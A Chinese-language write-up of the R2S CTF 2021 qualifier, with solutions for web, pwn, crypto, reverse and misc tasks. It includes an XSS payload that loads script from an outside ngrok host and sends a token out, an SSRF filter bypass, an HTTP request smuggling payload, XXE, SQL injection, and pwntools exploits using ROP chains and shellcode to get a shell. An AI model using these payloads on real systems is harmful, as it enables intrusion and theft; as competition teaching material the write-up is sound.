R2S CTF 2021 Qualifier WriteUps

發表於
分類於 CTF

這次和 AIS3 EOF 時的隊友們以 Unofficial 參加了 R2S CTF,最後得到了第一名。整體來說我覺得這個 CTF 都算是比較簡單的,不過有些題目也需要足夠了靈力去通出來才行。除了 Stego 和 Forensics 兩類的題目我全部都有解掉,也代表了我在這部分真的蠻弱的。

Welcome

Welcome 的 flag 是放在 Discord channel 用 spoiler 給隱藏起來了,而且因為是每個字元都分別標了 spoiler 所以只能一個一個打開看到 flag。這邊我取得首殺的方法是用 Discord 的 Devtool 直接去把 element 的 textContent 抓出來,效率比較高。後來也有發現一些比較快的其他作法例如用手機 app 長按直接複製,或是點開第一個和最後一個字元,然後選取整段之後 Ctrl-C 也可以。

Web

Chatroom

有個用 aaencode 的 js,直接在 devtool 裡面執行就有 flag 了。

Psychic

網頁上有張端火鍋的圖片,不過如果試著把網頁的連結用其他通訊軟體發,可能會在縮圖看到 flag,根據 flag 內容可以知道似乎是與 libpng 的 rendering 問題有關,在不同軟體中顯示出來的畫面不太一樣。

I’m The Map

可以上傳一個地圖的 KML 檔,它會幫你計算兩點的最遠距離。從 API response 可以看到裡面會放地名,所以把 KML 的地名部分用 XXE 去 reference /flag.txt 之後看 API response 就有 flag 了。

Local Media Server 1/2

有個顯然能 SSRF 的地方,不過直接的 http://localhost 或是 http://127.0.0.1 都會被擋,看一下 header 能發現有 X-Rejected-By: netmask。去查一下可以看到 SSRF vulnerability in NPM package Netmask impacts up to 279k projects,知道它可能有個能用八進位 ipv4 繞過的可能性,測試之後也可以成功:

http://media.web.quals.r2s.tw:10692/get?url=http://0177.0000.0000.0001/play.html

不過 127.1 這種也被說是外部 ip 真的有點 87,作者還說是他手動擋的==

之後會 redirect 到一個頁面看到端火鍋的影片,從 m3u8 中能找到 flag 2,而 flag 1 是藏在某個 resolution 的影片之中,一個一個對影片去 strings 就能看到 flag 了。

只是到底有誰會閒閒沒事對影片去 strings==

Working Status

首先要在 html 中看到有個 /source 可以看到 backend 的 source code。需要有個 jwt signed 的 {"status": "flag", "user": "admin"} 才能拿到 flag。

而頁面上經過簡單測試可以發現有簡單到不行的 XSS,所以目標就是用 xss 以 admin 的身分去 sign,然後把結果傳回來就能自己去看 flag 了。

為了方便,我把 xss 的腳本部分放在自己的 server 上比較好修改,然後 xss 的內容就直接讓它去載入 script 即可。

<img src=1 onerror="s=document.createElement('script');s.src='https://3ccdbb63ba3b.ngrok.io/xss.js';document.body.appendChild(s)">
function log(x){
    fetch('https://3ccdbb63ba3b.ngrok.io/report=' + encodeURIComponent(x))
}
log('loaded')
const s = document.createElement('script')
s.src = '/sign?status=flag&callback=signed'
document.body.appendChild(s)
window.signed = log

之後把頁面給 xss bot 之後就能收到能看到 flag 的 token 了。

Calculator 0x1

這題可以 submit 長度上限 54 且都由 .`+|a-z 字元所組成的 js,server 會用 vm2 幫你 eval,結果是要回傳數字 1069 並且要 call sec.disable() 函數才行。

call 函數的部分用 sec.disable“ 很容易可以達成,數字的部分主要是利用 length 以及 “123”|"" 的結果是數字 123 的特點。

所以目標就是湊出字串 0x42d,然後和空字串去做 or 運算即可。因為 sec.disable() 會回傳空字串所以也能節省字元。

+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|``

Simple Book Searcher

一個書的搜尋引擎,試著發送 ' 字元可以在 response 直接看到 sql error,還能知道是 MySQL。所以參考 MYSQL Injection 去用 union select 去取得 database, table, columns 等的資訊撈回來就能知道 flag 在哪,然後也能得到 flag。

這題很少人解我是真的沒想到的,因為只是非常基本的 sql injection 而已

Smart IoT

目標是一個 node 14.15.3 + express 的 server,跑在 haproxy 1.5.3 之後,flag 內容放在 /info 這個 endpoint 的 response 之中。只是 haproxy 用了這邊的設定把該 route 給擋住了:

global
 daemon
 maxconn 576

defaults
 mode http
 timeout connect 1000ms
 timeout client 10000ms
 timeout server 10000ms

frontend http-in
 bind *:80
 default_backend back
 acl x path_beg -i /info
 http-request deny if x

backend back
 server server1 127.0.0.1:8080 maxconn 128

去查了一下版本可以看到 CVE-2020-8287,知道這個組合能用 TE-TE 去 request smuggling 繞過 haproxy 的 ACL。經過測試,下面的 payload 確實能讓 node 的部份收到 GET /info 的 request,不過 response 卻會直接被斷掉,沒辦法看到 flag 的 response。

POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding: invalid_value

0

GET /info HTTP/1.1

題目後來的 hint 有說可以去研究 haproxy 和 nginx 預設處裡 websocket 的不同點,能發現到多加上一個 Connection: Upgrade 就能很神奇的得到 response 了,不過如果再多一個 Upgrade: websocket 又會失敗,這我不知道是什麼緣故。

不過能得到 response 的部份我有去查一下,可以在 haproxy 1.5.3 的 changelog 裡面看到這麼一句話:

MEDIUM: http: refrain from sending "Connection: close" when Upgrade is present

完整的成功 payload (CRLF):

POST / HTTP/1.1
Transfer-Encoding: chunked
Transfer-Encoding:
Connection: Upgrade

0

GET /info HTTP/1.1

Pwnable

Buffer Builder

可以直接 buffer overflow,目標要偽造出一個 struct 通過檢測就能得到 flag 了。我這邊是用 gdb 結合 cyclic 指令(pwntools 隨附的)去算 offset,然後塞入指定的資料即可。

base64 encoded 的 input:

YlVpTGRFXzdoM19CdWZmM3IheHjvvq3eNxM3EzMzMzNCRYZkCg==

Echo Heap

題目有三個在 heap 上面的 buffer,一個是 format string 的內容,一個是可以供使用者輸入的 buffer,一個是額外的字元。它會反覆用同個 format string 去 scanf + printf,沒有擋 buffer overflow。

用 C 表示如下:

char *buf = malloc(0x64);
char *fmtstr = malloc(0x64);
char *c = malloc(0x4);
int result = 0;
strcpy(fmtstr, "echo!\nheap\n%s%c");
do {
	result = scanf(fmtstr, buf, c);
	printf(fmtstr, buf, 10);
}
while (result > 0);

因為 buf 是在 fmtstr 前面得到的,利用 buf 的 overflow 可以修改到 fmtstr 的值,所以可以繼續利用 format string exploit。

這題有個比較麻煩的地方是它的 scanfprintf 都用同個 format string,因為會檢查 scanf 的 return value 所以還需要按照它的格式進行輸入才行。

首先是要 leak libc 的位置,這個可以用 %13$p 找到,leak 之後要想辦法控制 rip 才行。用 gdb 可以發現到 %10$s 所指的位置正好是 rbp 的位置,所以可以用 %10$s 去寫入 rop chain。

組合起來的流程就是先用 format string printf("x%10$s-%13$p-") 得到 libc address,然後 scanf("x%10$s-%13$p-") 就能寫入 rop chain,只要讓它不符合 format 就能離開 loop 然後 return 到 rop chain 上面了。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

libc = ELF("./libc.so.6") # from docker

# io = process("./echo-heap")
io = remote("echo.pwn.quals.r2s.tw", 10101)

io.sendline(b"echo!\nheap!\n" + b"a" * 112 + b"x%10$s-%13$p-")
io.recvuntil(b"-")
addr = int(io.recvuntilS("-")[:-1], 16)
print(hex(addr))
libc_base = addr - 0x0270B3
print("libc base", hex(libc_base))

binsh = libc_base + next(libc.search(b"/bin/sh\0"))
pop_rdi = libc_base + 0x26B72
pop_rsi = libc_base + 0x27529
pop_rdx_rbx = libc_base + 0x162866
execve = libc_base + libc.sym["execve"]

rop = flat([pop_rdi, binsh, pop_rsi, 0, execve])


io.sendline(b"x" + p64(0) + rop)
io.interactive()

Guess Dice 🎲

題目一開始會用 gettimeofday 得到時間資訊,然後把 tv_sectv_usec 的 low 16 bits xor 之後用 srandom 設 seed,之後用 system("date") 告訴你 server 的時間。主程式的地方會有些關於 rand() 的東西需要用到,所以必須要能預測隨機數。

顯然這邊是可以用時間資訊去恢復 seed,不過 date 指令給你的時間資訊並不是很詳細,沒辦法得到 us 級別的時間精度,不過這部分可以簡單的暴力找即可。

find_usec.c:

這個程式從 argv 中得到 sec,以及第 7~12 個 rand() 的輸出,然後可以很快的暴力找出 usec 的值。

編譯指令: gcc find_usec.c -o ./find_usec -Ofast

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>

int main(int argc, char **argv)
{
    if (argc < 2 + 6)
    {
        return 1;
    }
    int ar[6];
    for (int i = 2; i < 2 + 6; i++)
    {
        ar[i - 2] = atol(argv[i]);
    }
    int sec = atol(argv[1]);
    for (int usec = 0; usec <= 0xffffffff; usec++)
    {
        srandom(sec ^ usec);
        for (int i = 0; i < 6; i++)
        {
            rand();
        }
        int i = 0;
        for (; i < 6; i++)
        {
            if (rand() != ar[i])
                break;
        }
        if (i >= 6)
        {
            printf("%d", usec);
            break;
        }
    }
    return 0;
}

rand.c:

接受三個參數 sec usecn,生成以 srandom(sec ^ usec) 之後跳過 12 個數字之後的 n 個 output,方便之後寫在 python 的 script 呼叫。

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>

int main(int argc, char **argv)
{
    if (argc < 4)
    {
        return 1;
    }
    int sec = atol(argv[1]);
    int usec = atol(argv[2]);
    int n = atol(argv[3]);
    srandom(sec ^ usec);
    for (int i = 0; i < 12; i++)
    {
        rand();
    }
    for (int i = 0; i < n; i++)
    {
        printf("%d\n", rand());
    }
    return 0;
}

主程式的一開始會先骰 6 個骰子 rand() % 6,然後進到一個 100 次的 loop 中讓你去讀取/修改或是預測骰子的值。read 的時候可以指定 index,沒有做額外檢查,所以可以任意 leak 東西。write 的時候也可以指定 index 和一個 val,會寫入 dice[idx] 的地方寫入 val ^ rand()。預測的時候要預測 6 個骰子的值,它會比較 input ^ rand() == dice[i],全部都要正確才能離開 loop 然後 return,如果是次數到達上限才離開 loop 的話會直接 exit(-1),不能 return。

流程就先 write index = 0~5,val 都用 0,之後再 read 六次之後就能得到 6 個 rand() 的 output。之後呼叫 find_usecrand 就能得到之後未來的所有 rand() output 了,這樣預測骰子的值就很簡單了。

要控制 rip 的話可以利用 index 越界寫入,因為 dice 在 stack 上面,所以越界寫入能寫入到 ret 的地方,透過知道 rand() 的值就能精確的寫入 rop chain 了。

此題是 static binary, no pie,所以很容易 rop

from pwn import *
from dateutil import parser
from subprocess import check_output

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"


def read(idx):
    io.sendlineafter(b"> ", "0")
    io.sendlineafter(b"Dice number want to read> ", str(idx))
    io.recvuntil(b" is ")
    return int(io.recvlineS().strip())


def write(idx, val):
    io.sendlineafter(b"> ", "1")
    io.sendlineafter(b"Dice number want to change> ", str(idx))
    io.sendlineafter(b"Value with hash> ", str(val))


# io = process("./dist/home/guess-dice")
io = remote("dice.pwn.quals.r2s.tw", 10103)
io.recvuntil(b"Server Time: ")
timestr = io.recvlineS().strip()
sec = int(parser.parse(timestr).timestamp())
for i in range(6):
    write(i, 0)
nums = [read(i) for i in range(6)]
args = str(sec) + " " + " ".join(map(str, nums))
usec = int(check_output(["./find_usec", str(sec), *map(str, nums)]))
print(sec, usec)

nums = [
    int(x)
    for x in check_output(["./rand", str(sec), str(usec), "300"]).split(b"\n")
    if x
]


def rand():
    global nums
    ret = nums[0]
    nums = nums[1:]
    return ret


def do_predict():
    dices = []
    for i in range(6):
        write(i, 0)
        dices.append(read(i))
        print(dices[-1], rand())
    io.sendlineafter(b"> ", "2")
    for i in range(6):
        io.sendlineafter(b"Dice Value with hash> ", str(rand() ^ dices[i]))
    io.interactive()


pop_rdi = 0x4018EA
pop_rsi = 0x40F71E
pop_rdx = 0x4017EF
pop_rax = 0x45B857
syscall = 0x4012E3
binsh = 0x4B69EB


def write_qword(idx, val):
    write(idx, rand() ^ val)  # lower dword
    write(idx + 1, rand() ^ (val >> 32))  # upper dword


write_qword(14, pop_rdi)
write_qword(16, binsh)
write_qword(18, pop_rsi)
write_qword(20, 0)
write_qword(22, pop_rdx)
write_qword(24, 0)
write_qword(26, pop_rax)
write_qword(28, 59)
write_qword(30, syscall)
do_predict()

Email Sender

這題核心的部份大致如下:

struct Mail {
	char email[64];
	char subject[64];
	char *content;
	void (*sendMail)(struct Mail*);
} mail;
// do something ...
init(&mail); // initialize sendMail
printf("Email:");
gets(mail.email);
printf("Subject:");
gets(mail.subject);
mail.content = mmap(mail.content, 0x1000, 7, 34, -1, 0);
gets(mail.content);
// print mail
mail.sendMail(&mail);

可以知道能 buffer overflow 把 content 以及 sendMail 的部份蓋掉,所以可以控制 rip。不過問題在於要把 rip 控制到什麼地方,因為這題並沒有 leak address 的地方,還有 PIE 所以也都不知道 address 在哪。

此題關鍵在於 mmap 的 address 如果是 0 就會隨便分配一塊區塊,否則會找一個最近的 page boundary 分配出來。所以可以先控制好 content 的值到一個 page boundary 上面,然後用 gdb 去檢視那個位置然後 copy 下來即可。再來因為 mmap 的 block 是 RWX,所以在上面寫 shellcode,然後再控制 sendMail 到 shellcode 上面即可。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

addr = 0x00007FFE0F0DC000

# io = process("./dist/home/email-sender")
io = remote("email.pwn.quals.r2s.tw", 10102)
io.sendlineafter(b"Email: ", "asd")
io.sendlineafter(
    b"Subject: ",
    cyclic(0x60) + p64(addr) + p64(addr),
)
io.sendlineafter(b"Content: ", asm(shellcraft.cat("/flag")))
io.sendlineafter(b"correct?", "y")
io.interactive()

PS: 此題有 seccomp,所以不能拿 shell

File Manager v0.0.1

這題可以讓你隨便 open 一些 file,裡面還有個很容易觸發的 backdoor 直接幫你執行 /bin/sh。binary 還是有 suid,一開始的 gid 是 3333 的,只是在執行前會先 setgid 到 1000,而且在 /home/file_manager/flag 的 flag 只有 root 和 gid 3333 的人才能讀取,所以直接 get shell 的時候沒辦法 cat /home/file_manager/flag

題目的關鍵是先利用 gid 還是 3333 的時候先 open("/home/file_manager/flag", 0),然後 fd 3 就會是那個 file 的 file descriptor。

我一開始一直 cat /proc/self/fd/3 得到 permission deined 的錯誤,後來才知道是因為 cat 會用 openat 的 syscall 所以沒辦法這樣做。不過賽中我一直卡在那個地方,後來隊友發現可以自己 upload 一個 binary 上去去 read(3, buf, 1000) 才解掉的,後來賽後才知道可以直接用 cat <&3 從 fd 3 讀取資料。

from pwn import remote
from base64 import b64encode

with open("./read.tgz", "rb") as f:
    bin = f.read()

print(len(bin))

io = remote("file.pwn.quals.r2s.tw", 34567)
for _ in range(8):
    io.sendlineafter(b"> ", "2")
    io.sendlineafter(b"File ID > ", "0")
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"File Name > ", "/home/file_manager/flag")
io.sendlineafter(b"> ", "333")
io.recvuntil(b"Welcome Admin!\n")
io.sendline(b"bash")
# Upload a precompiled binary
# io.sendline(b"rm /tmp/read.tgz")
# for i in range(0, len(bin), 10000):
#     io.sendline(
#         b"echo " + b64encode(bin[i : i + 10000]) + b" | base64 -d >> /tmp/read.tgz"
#     )
# io.sendline(b"cd /tmp")
# io.sendline(b"rm read")
# io.sendline(b"tar xzf read.tgz")
# io.sendline(b"chmod +x read")
# io.sendline(b"echo done")
io.interactive()

Stego

Barcode in Image

隊友解的,我不會==

Music Xor

我不會通靈這題,最後也沒解掉這題。

Corrupted Media

這題也是到最後都解不掉的題目,不過解不掉的原因是我被 ffmpeg 坑了。

題目給了一個損壞的 mp4,然後 hint 有說原本的檔案格式是 hevc,去查一下可以知道能用 untrunc 去復原。untrunc 需要一個格式差不多且可正常播放的檔案才能復原壞掉的 mp4,所以我就有下載端火鍋的影片然後用 ffmpeg 重新用 hevc encode,之後也能用 untrunc 修復成功,不過播放的時候只有聲音正常,畫面完全是損毀的。

賽後才知道我這個做法是正確的,其他人也有人用一樣的做法成功,後來才發現是 Debian 的 ffmpeg version 4.3.2-0+deb11u2 hevc encode 之後的影片怪怪的,結合 untrunc 修復出來的結果都沒辦法用,換個版本重新做一次就成功了…。

Reverse

What is this!?

一樣是 aaencode 的 js,把最後的一組括號去掉再執行就能看到 js function,toString 後就能 reverse 然後看到 flag 了。

pAtCh_mAn

這題沒有輸入,裡面會直接做一些檢查然後看情況 print flag,我這邊直接用 gdb 進去下斷點,然後在適當的地方修改 memory 之後就能通過檢查,然後看到 flag。

此題還有個 bonus,可以在另一個函數看到一個 hex encoded 的字串,解完之後可以發現是個 substitution cipher,用 quipquip 和作者名稱等等的資訊可以解出來,最後會得到一個在 CloudFlare Workers 上面的 goindex,裡面有放一個 お願い!コンコンお稲荷さま 的 flac。

Jumping_master

有個 DOS 的 16-bit 程式,在 IDA 裡面能看到它有個地方會直接 exit,所以先把那部分 patch 成 NOP 之後再執行一次會看到 3 個 YT 影片網址,不過都和 flag 無關。再看一下會發現有個 call si 的東西怪怪的,把它也 NOP 掉之後再執行就有 Thanks for playing,然後同個目錄下就會出現 FLAG 檔案,裡面就是 flag 內容了。

Misc

Time Traveler

可以發現它的時間越往未來輸入,就會越往前,隨便算一下可以知道輸入 2071-01-01 就能得到 1937 年並看到 flag 了。

Kon!Kon!Kon!

直接 nc 看不到什麼特別的,不過 pipe 到 xxd 之後會發現有用 CR 把額外的資訊給藏起來了,之後輸入 Kon?!OuO 進到 terminal,執行 ./read_flag 解它的一個加法就能看到 flag 了。

from pwn import remote


io = remote("konkonkon.misc.quals.r2s.tw", 3333)
io.sendline("Kon?!OuO")
io.sendlineafter("Terminal", "./read_flag")
io.recvuntil(b'Kon!!\n')
ans = eval(io.recvlineS().split('=')[0])
io.sendline(str(ans))
io.interactive()

Weird Picture

用 zsteg 可以在圖片後面發現有個 powershell 的腳本,修改一下它之後它可以從圖片中 extract 出更多的 powershell。簡單理解一下之後可以知道是 flag checker,比較方法是把每個字元 md5 之後和一個 md5 list 比較而已,所以一個一個暴力逆回去之後就能知道 flag 了。

Fat7z

一個反覆 encode 過的 flag,直接 dfs 暴力解回去而已。

from base64 import *
import gzip
import sys

with open('data', 'rb') as f:
    data = f.read()

def dfs(data, deep=0):
    print(deep)
    if data.startswith(b"R2S"):
        print(data)
        sys.exit(1)
    if deep == 350:
        return
    ddata = gzip.decompress(data)
    try:
        dfs(b32decode(ddata), deep+1)
    except:
        pass
    try:
        dfs(b64decode(ddata), deep+1)
    except:
        pass
    try:
        dfs(b85decode(ddata), deep+1)
    except:
        pass

dfs(b85decode(data), 0)

How Regular is This

一個 regex crossword,直接手動解掉即可,大概 20 分鐘就能完成。

R2S{R3GE
X_IS_FUN
,_R19H7?
_I7_C4N_
FETCH_AN
YTH1NG_U
_WAN7_FR
0M_UR_L0
G5_AND_W
EBP4GE5}

IP Over Telegram

題目給了一個利用 Teletun - IP over Telegram 進行通訊的紀錄,該專案是把利用 TUN 把 traffic 用 base64 encode 之後在 telegram 上面 tunnel 而已。

經過觀察可以發現把每個 packet 的前 56 bytes 丟掉之後就能得到真正需要的內容,我認為那應該是 TCP header 吧,大概…。

所以之後就自己寫個 decode 腳本把裡面的 http 檔案都匯出,之後把分段的 7z 檔案解開就能看到 flag 的圖片了。

from base64 import b64decode
from hashlib import md5

with open("messages") as f:
    fname = []
    for line in f:
        try:
            data = b64decode(line)[56:]
            if b"GET /" in data:
                fname.append(data.split(b" ")[1].decode()[1:])
                print(fname)
            if len(data) == 100:
                print(fname[0], md5(data).hexdigest())
                with open(fname[0], "wb") as f:
                    f.write(data)
                fname = fname[1:]
            if fname[0] == "owo.7z.014" and len(data) == 8:
                print(fname[0], md5(data).hexdigest())
                with open(fname[0], "wb") as f:
                    f.write(data)
                fname = fname[1:]
        except Exception as ex:
            # print(ex)
            pass

Crypto

Base1024

搜尋題目名稱可以找到 Ecoji.co,直接用那個網站 decode 即可。

BiGGG_RSA

生成 n 的 code 如下:

n = 1
tmp = getPrime(50)

for i in range(7):
    print(i)
    n *= tmp
    tmp = next_prime(n)

所以知道 n 每次乘的時候大小都差不多,所以可以反覆利用 fermat 去分解,之後 decrypt 即可。

import gmpy2
from Crypto.Util.number import *
from operator import mul
from functools import reduce

c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222
e = 65537
n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627


def fermat(x, mx=1000):
    a = gmpy2.isqrt(x)
    b2 = a * a - x
    cnt = 0
    while not gmpy2.is_square(b2):
        a += 1
        cnt += 1
        if cnt == mx:
            return
        b2 = a * a - x
    b = gmpy2.isqrt(b2)
    return a + b, a - b


def factor(n):
    p, q = fermat(n)
    fac = []
    if not isPrime(p):
        fac += factor(p)
    else:
        fac += [p]
    if not isPrime(q):
        fac += factor(q)
    else:
        fac += [q]
    return fac


fac = factor(n)
assert reduce(mul, fac) == n
phi = reduce(mul, (x - 1 for x in fac))
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
print(long_to_bytes(m))

Seeeeed

這題的預期解法是暴力用時間往回推找 random seed,然後就能分解那些 RSA 的 n 了。

# fmt: off
ns = [260634525524533903012690050767761847060552114922740001388159725787723716406020999293635211220503083237, 208095678966688821844479773849088950638944633557616238151123335222899046286902783, 257979573430413729952126829110820754255590168827983489589181784816491809972695059, 27243853461323387808300873515072056902530035743581988124468140982020916628636339101, 274294960917112555155918743231115476048475321832747350566866116355816894882516483, 291153654572421277161272319821881945338417542318103307006007431811050578618319633, 1264614018826395575718768267659554806208758592967928546141376334987200797765109201, 215356595628359003442692204466385178410717803540992865178965327846944469985078717, 275798075765296633158782154395021668434841804868451919714742518641677209524386239, 203959691383036080416056049068597820621920194509335375338001584394846436848778573, 172318838323449236035296154148872274753763285156663504522766377433747381712046437, 2551733082240613507692268659153484068913424701145121919418041466166347388772109929, 177817867186884785941829869444106898938776952217040896942441467249110603000565527, 13699344913073626306878374150277151744545010780157931205343770628112921943767720673, 274603578897156037730538510879106960475281610547931476478488792542562967969758169, 1021688707360268777351035532335218613477164972796776067732317113426196466189058857, 11303711116746364836230503067790137605917877750394683941432835864580851232762670437, 243495874435731571155030324017802176115338017548563228509041073628055194125290167, 4210086242379040026181928282787339610454119020281654630754512506326442565509313353, 279098144908475422995174461690215596619979080957432236763400286359406022381502899, 1142276742953704568977370705422406376114491107782617817012681417749795459206323997, 1234223605952796613308102981831034107115216741547398609057839879247554476528064163, 1115297868611802649319686724893372541528724052860522151900018161307989512692927891, 771909112654534347958718785103330152314820235006730551077142224822695902658667399, 250000775556680592196031987059288134052847572497760134202853927382497548012063151, 170063094937389940579068822372209592974481256340198322480780057577365688733737243, 153432640836172777814508025444093964756390707854295282127485450154828573764281989, 350521775997315362036095345582136781928565124549941218378580615630801586334289953, 328086570801403898875073311230391353258645659329103798885061005491842872808666233, 309698664948004135943390545911374267184936986335013424421317454742291838144931691, 17753951678760831078080973140471615230943167318953679469750484716451406113414158311, 380839925470311031055697009339283650201049325890416481845377602075223796687235643, 18286702214336038429541856832563948834041300267917021102336407067688654506630341827, 60359977403251459016771406971274965445963819939677459162816875699358612290156163483, 278747472153129524796215056208523381106123959436640229493158520782297847569496123, 3835257278211128259058432605573722550260251822254869366378362839711692867831987743, 8772911744802850733380926186876743272025561945864055191902568438648421247866060528011]
cs = [168324827824206027757963652608328154751150612172746909995666631233062936087781039335378554527748186697, 130617575815982628554636126172184393182042976671872563630075153822805242079268380, 102809175525572947369404325465067957368528820323716896932293392441207897241162106, 26510445477009605745725613637211176100090811064820601782341981709429706877186511884, 265447636845150591433878737556659417237035086612618675351208502604167306736559048, 24319737652721169825528803678105943693722065855067626375626421576009657837968691, 903349808383738532864672035305340485438724224938442183989776291470107772503368448, 25102606021422924705896453615502010127342602023957589138728530721032348624846905, 53973589983836253173577401704499774942292805499835176323917577336233307808046032, 139362107334098998953108826961665620893893707993106446002007437263380823913671715, 22393501700438832858853797921488776680986297064233536837770621972716803189749943, 2548574030243119028744139573507485556898153200655055113765034188330694195031459906, 52489394155645831764544707933361030981677908207259488105445148989800468433752897, 6250019693861336237390098776797359530471988801874695977726521776798120303443963879, 66512533155280045074503459588144597554965640207915686826940254082577850705466247, 491849516573421165425636440914444494059244603886473708847218553532410313512844419, 1176813002097324842964847401366126169231600430855511881901506489852185032618265570, 188422590589899047195259429088196391250066043167218733709175935641538384543823714, 2074255496576202379288582635657157635141681692751584998679422766083321184449743137, 76607218350654225967358181385063684974503838071840477210881977349853066122015584, 268269262358948400352414043377630243497423983157487241891838775312266965658187624, 188472314699881909737963062508226914748343519892578653567454774777763623787635414, 897161360553250913742509185428871487269534315677820253500436092967096983223590841, 359086933207289842171751612803773923497313773002461379560697925340906969631580148, 191337336238218979797727216988524937980116332283935111076884824781075217022129682, 53366153717987266046331918568520810526003388892521788994147885483696076039901087, 115261829190735685298108304481910868538184390322784339988275136090107409092318229, 221205179330812112863350554831136698682517777762201913306141470683838942400740430, 224161320349442835161020066533633200106514001862983237572820066571727747297818919, 109864940977223157354897007217633842419798366128833448222905811325507349629348861, 2955514070204944644143519717315850247262021426864569588832071663945292583405011073, 205640591252875284012121950003466015621718524224073430055156076235706136617600293, 2912769900155402319312331305500539113469985250702347761152562348415328406828346453, 53277041267060499328150331178272978283908033800055762551754407395149317153237389783, 18103453177057839546488042481723259026905868382704927873137182443880686317623884, 1319726331778501297956354956533726004358324384142102624097090385168102573652232168, 5662029275219406340853890855725203744874150490741210699817647640149564730621919633080]
e = 65537
# fmt: on


from random import *
from Crypto.Util.number import bytes_to_long
from gmpy2 import next_prime

e = 0x10001
N = 1083431725045970484586186177942248908050424478782004838696639


def seeed(t, tmp):
    if t == 0:
        return tmp

    tmp = randint(1e10, 1e20)
    seed(tmp)

    return seeed(t - 1, tmp)


t = 1624788700
seed(t)
ps = [int(next_prime(N // seeed(i, t - i))) for i in range(len(ns))]
qs = [n // p for n, p in zip(ns, ps)]
phis = [(p - 1) * (q - 1) for p, q in zip(ps, qs)]
ds = [pow(e, -1, phi) for phi in phis]
ms = [pow(c, d, n) for c, d, n in zip(cs, ds, ns)]
print(ms)
print(bytes(ms)[::-1])

這題還有個比較簡單的解法是可以注意到 0m2550\leq m\leq 255,所以暴力找也可以:

# fmt: off
ns = # ...
cs = # ...
e = 65537
# fmt: on

import gmpy2


def brute(n, e, c):
    for x in range(256):
        if gmpy2.powmod(x, e, n) == c:
            return x


print(bytes([brute(n, e, c) for n, c in zip(ns, cs)])[::-1])

2-AES

這題需要暴力找 AES key,正常的 search space 是 2566256^6,不過因為它有提供一組已知的 plaintext 和 ciphertext,所以用 meet in the middle attack 可以壓到 2563+2563256^3+256^3

from tqdm import tqdm
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from itertools import product

notflag = bytes.fromhex("5232537b316d5f6e30375f666c34367d")
notflagC = bytes.fromhex(
    "506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b"
)
flagC = bytes.fromhex(
    "ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5"
)

padded = pad(notflag, 16)

kpre = b"make_it_easy_"

table = {}

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="first"):
    k1 = kpre + bytes(a)
    ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC)
    table[ct] = k1

for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc="second"):
    k2 = kpre + bytes(a)
    ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded)
    if ct in table:
        k1 = table[ct]
        print(k1, k2)
        flag = unpad(
            AES.new(k2, mode=AES.MODE_ECB).decrypt(
                AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC)
            ),
            16,
        )
        print(flag)
        break

k1 = b"make_it_easy_bh\x10"
k2 = b"make_it_easy_;L\x92"
flag = b"R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}"

Not morse

通靈、通靈和通靈…

1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }

首先要猜那個 2 是 flag format R2S{...} 中的 2,然後把所有非 0 和 1 的字元移除掉:

100001000110000001001000100111000000111000100000000110000011000110010000010011010001100100

之後用 CyberChef 的 magic 可以發現它是 Bacon cipher: link

Forensics

Headache

隊友解的,我不會解==

md0

一樣是隊友解的,我有學到了從 Wireshark export 檔案的時候一樣要選 raw 這件事而已

H4cK3d

題目出壞掉,直接 strings 就有 flag 了。